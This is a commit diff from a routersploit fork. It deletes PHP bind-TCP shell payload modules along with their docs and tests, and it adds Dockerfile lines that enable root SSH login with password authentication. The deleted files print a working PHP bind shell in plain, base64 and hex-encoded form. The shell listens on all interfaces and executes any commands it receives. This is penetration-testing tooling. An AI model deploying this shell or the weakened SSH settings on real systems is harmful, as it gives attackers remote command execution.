Skip to content

R
routersploit
Commit f589d8bd by 曾凯
Options

fix:init

parent d70fe7a0
Showing with 6 additions and 195 deletions
Dockerfile
FROM python:3.6
RUN apt update && apt install vim net-tools iputils-ping ssh -y
RUN echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
RUN echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config
COPY requirements.txt /tmp/requirements.txt
RUN python -m pip install -r /tmp/requirements.txt
RUN python -m pip install -r /tmp/requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple/
WORKDIR /routersploit
COPY . .
......
docs/modules/payloads/cmd/php_bind_tcp.md deleted 100644 → 0
## Description
Module generates payload that creates interactive tcp bind shell by using php one-liner.
## Verification Steps
1. Start `./rsf.py`
2. Do: `use payloads/cmd/php_bind_tcp`
3. Do: `set rport 4321`
4. Do: `run`
5. Module generates php tcp bind shell payload
## Scenarios
```
rsf > use payloads/cmd/php_bind_tcp
rsf (PHP Bind TCP One-Liner) > set rport 4321
[+] rport => 4321
rsf (PHP Bind TCP One-Liner) > run
[*] Running module...
[*] Generating payload
php -r "eval(base64_decode('JHM9c29ja2V0X2NyZWF0ZShBRl9JTkVULFNPQ0tfU1RSRUFNLFNPTF9UQ1ApO3NvY2tldF9iaW5kKCRzLCIwLjAuMC4wIiw0MzIxKTtzb2NrZXRfbGlzdGVuKCRzLDEpOyRjbD1zb2NrZXRfYWNjZXB0KCRzKTt3aGlsZSgxKXtpZighc29ja2V0X3dyaXRlKCRjbCwiJCAiLDIpKWV4aXQ7JGluPXNvY2tldF9yZWFkKCRjbCwxMDApOyRjbWQ9cG9wZW4oIiRpbiIsInIiKTt3aGlsZSghZmVvZigkY21kKSl7JG09ZmdldGMoJGNtZCk7c29ja2V0X3dyaXRlKCRjbCwkbSxzdHJsZW4oJG0pKTt9fQ=='));"
```
docs/modules/payloads/php/bind_tcp.md deleted 100644 → 0
## Description
Module generates payload that creates interactive tcp bind shell by using php.
## Verification Steps
1. Start `./rsf.py`
2. Do: `use payloads/php/bind_tcp`
3. Do: `set rport 4321`
4. Do: `run`
5. Module generates php tcp bind shell payload
## Scenarios
```
rsf > use payloads/php/bind_tcp
rsf (PHP Bind TCP) > set rport 4321
[+] rport => 4321
rsf (PHP Bind TCP) > run
[*] Running module...
[*] Generating payload
eval(base64_decode('JHM9c29ja2V0X2NyZWF0ZShBRl9JTkVULFNPQ0tfU1RSRUFNLFNPTF9UQ1ApO3NvY2tldF9iaW5kKCRzLCIwLjAuMC4wIiw0MzIxKTtzb2NrZXRfbGlzdGVuKCRzLDEpOyRjbD1zb2NrZXRfYWNjZXB0KCRzKTt3aGlsZSgxKXtpZighc29ja2V0X3dyaXRlKCRjbCwiJCAiLDIpKWV4aXQ7JGluPXNvY2tldF9yZWFkKCRjbCwxMDApOyRjbWQ9cG9wZW4oIiRpbiIsInIiKTt3aGlsZSghZmVvZigkY21kKSl7JG09ZmdldGMoJGNtZCk7c29ja2V0X3dyaXRlKCRjbCwkbSxzdHJsZW4oJG0pKTt9fQ=='));
```
routersploit/modules/payloads/php/bind_tcp.py deleted 100644 → 0
from routersploit.core.exploit.option import OptEncoder
from routersploit.core.exploit.payloads import (
GenericPayload,
Architectures,
BindTCPPayloadMixin,
)
from routersploit.modules.encoders.php.base64 import Encoder
class Payload(BindTCPPayloadMixin, GenericPayload):
__info__ = {
"name": "PHP Bind TCP",
"description": "Creates interactive tcp bind shell by using php.",
"authors": (
"Andre Marques (zc00l)", # shellpop
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
}
architecture = Architectures.PHP
encoder = OptEncoder(Encoder(), "Encoder")
def generate(self):
return (
"$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);" +
"socket_bind($s,\"0.0.0.0\",{});".format(self.rport) +
"socket_listen($s,1);" +
"$cl=socket_accept($s);" +
"while(1){" +
"if(!socket_write($cl,\"$ \",2))exit;" +
"$in=socket_read($cl,100);" +
"$cmd=popen(\"$in\",\"r\");" +
"while(!feof($cmd)){" +
"$m=fgetc($cmd);" +
"socket_write($cl,$m,strlen($m));" +
"}}"
)
tests/encoders/php/test_base64.py deleted 100644 → 0
from routersploit.modules.encoders.php.base64 import Encoder
# php bind tcp payload with rport 4321
bind_tcp = (
"$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);" +
"socket_bind($s,\"0.0.0.0\",4321);" +
"socket_listen($s,1);" +
"$cl=socket_accept($s);" +
"while(1){" +
"if(!socket_write($cl,\"$ \",2))exit;" +
"$in=socket_read($cl,100);" +
"$cmd=popen(\"$in\",\"r\");" +
"while(!feof($cmd)){" +
"$m=fgetc($cmd);" +
"socket_write($cl,$m,strlen($m));" +
"}}"
)
# php bind tcp payload with rport=4321 encoded with php/base64
bind_tcp_encoded = (
"eval(base64_decode('JHM9c29ja2V0X2NyZWF0ZShBRl9JTkVULFNPQ0tfU1RSRUFNLFNPTF9UQ1ApO3NvY2tldF9iaW5kKCRzLCIwLjAuMC4wIiw0MzIxKTtzb2NrZXRfbGlzdGVuKCRzLDEpOyRjbD1zb2NrZXRfYWNjZXB0KCRzKTt3aGlsZSgxKXtpZighc29ja2V0X3dyaXRlKCRjbCwiJCAiLDIpKWV4aXQ7JGluPXNvY2tldF9yZWFkKCRjbCwxMDApOyRjbWQ9cG9wZW4oIiRpbiIsInIiKTt3aGlsZSghZmVvZigkY21kKSl7JG09ZmdldGMoJGNtZCk7c29ja2V0X3dyaXRlKCRjbCwkbSxzdHJsZW4oJG0pKTt9fQ=='));"
)
def test_payload_encoding():
""" Test scenario - payload encoding """
encoder = Encoder()
assert encoder.encode(bind_tcp) == bind_tcp_encoded
tests/encoders/php/test_hex.py deleted 100644 → 0
from routersploit.modules.encoders.php.hex import Encoder
# php bind tcp payload with rport 4321
bind_tcp = (
"$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);" +
"socket_bind($s,\"0.0.0.0\",4321);" +
"socket_listen($s,1);" +
"$cl=socket_accept($s);" +
"while(1){" +
"if(!socket_write($cl,\"$ \",2))exit;" +
"$in=socket_read($cl,100);" +
"$cmd=popen(\"$in\",\"r\");" +
"while(!feof($cmd)){" +
"$m=fgetc($cmd);" +
"socket_write($cl,$m,strlen($m));" +
"}}"
)
# php bind tcp payload with rport=4321 encoded with php/hex
bind_tcp_encoded = (
"eval(hex2bin('24733d736f636b65745f6372656174652841465f494e45542c534f434b5f53545245414d2c534f4c5f544350293b736f636b65745f62696e642824732c22302e302e302e30222c34333231293b736f636b65745f6c697374656e2824732c31293b24636c3d736f636b65745f616363657074282473293b7768696c652831297b69662821736f636b65745f77726974652824636c2c222420222c322929657869743b24696e3d736f636b65745f726561642824636c2c313030293b24636d643d706f70656e282224696e222c227222293b7768696c65282166656f662824636d6429297b246d3d66676574632824636d64293b736f636b65745f77726974652824636c2c246d2c7374726c656e28246d29293b7d7d'));"
)
def test_payload_encoding():
""" Test scenario - payload encoding """
encoder = Encoder()
assert encoder.encode(bind_tcp) == bind_tcp_encoded
tests/payloads/cmd/test_php_bind_tcp.py deleted 100644 → 0
from routersploit.modules.payloads.cmd.php_bind_tcp import Payload
# php bind tcp payload with rport=4321
bind_tcp = (
"php -r \"eval(base64_decode('JHM9c29ja2V0X2NyZWF0ZShBRl9JTkVULFNPQ0tfU1RSRUFNLFNPTF9UQ1ApO3NvY2tldF9iaW5kKCRzLCIwLjAuMC4wIiw0MzIxKTtzb2NrZXRfbGlzdGVuKCRzLDEpOyRjbD1zb2NrZXRfYWNjZXB0KCRzKTt3aGlsZSgxKXtpZighc29ja2V0X3dyaXRlKCRjbCwiJCAiLDIpKWV4aXQ7JGluPXNvY2tldF9yZWFkKCRjbCwxMDApOyRjbWQ9cG9wZW4oIiRpbiIsInIiKTt3aGlsZSghZmVvZigkY21kKSl7JG09ZmdldGMoJGNtZCk7c29ja2V0X3dyaXRlKCRjbCwkbSxzdHJsZW4oJG0pKTt9fQ=='));\""
)
def test_payload_generation():
""" Test scenario - payload generation """
payload = Payload()
payload.rport = 4321
assert payload.run() == bind_tcp
tests/payloads/php/test_bind_tcp.py deleted 100644 → 0
from routersploit.modules.payloads.php.bind_tcp import Payload
# php bind tcp payload with rport 4321
bind_tcp = (
"$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);" +
"socket_bind($s,\"0.0.0.0\",4321);" +
"socket_listen($s,1);" +
"$cl=socket_accept($s);" +
"while(1){" +
"if(!socket_write($cl,\"$ \",2))exit;" +
"$in=socket_read($cl,100);" +
"$cmd=popen(\"$in\",\"r\");" +
"while(!feof($cmd)){" +
"$m=fgetc($cmd);" +
"socket_write($cl,$m,strlen($m));" +
"}}"
)
# php bind tcp payload with rport=4321 encoded with php/base64
bind_tcp_encoded = (
"eval(base64_decode('JHM9c29ja2V0X2NyZWF0ZShBRl9JTkVULFNPQ0tfU1RSRUFNLFNPTF9UQ1ApO3NvY2tldF9iaW5kKCRzLCIwLjAuMC4wIiw0MzIxKTtzb2NrZXRfbGlzdGVuKCRzLDEpOyRjbD1zb2NrZXRfYWNjZXB0KCRzKTt3aGlsZSgxKXtpZighc29ja2V0X3dyaXRlKCRjbCwiJCAiLDIpKWV4aXQ7JGluPXNvY2tldF9yZWFkKCRjbCwxMDApOyRjbWQ9cG9wZW4oIiRpbiIsInIiKTt3aGlsZSghZmVvZigkY21kKSl7JG09ZmdldGMoJGNtZCk7c29ja2V0X3dyaXRlKCRjbCwkbSxzdHJsZW4oJG0pKTt9fQ=='));"
)
def test_payload_generation():
""" Test scenario - payload generation """
payload = Payload()
payload.rport = 4321
assert payload.generate() == bind_tcp
assert payload.run() == bind_tcp_encoded
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment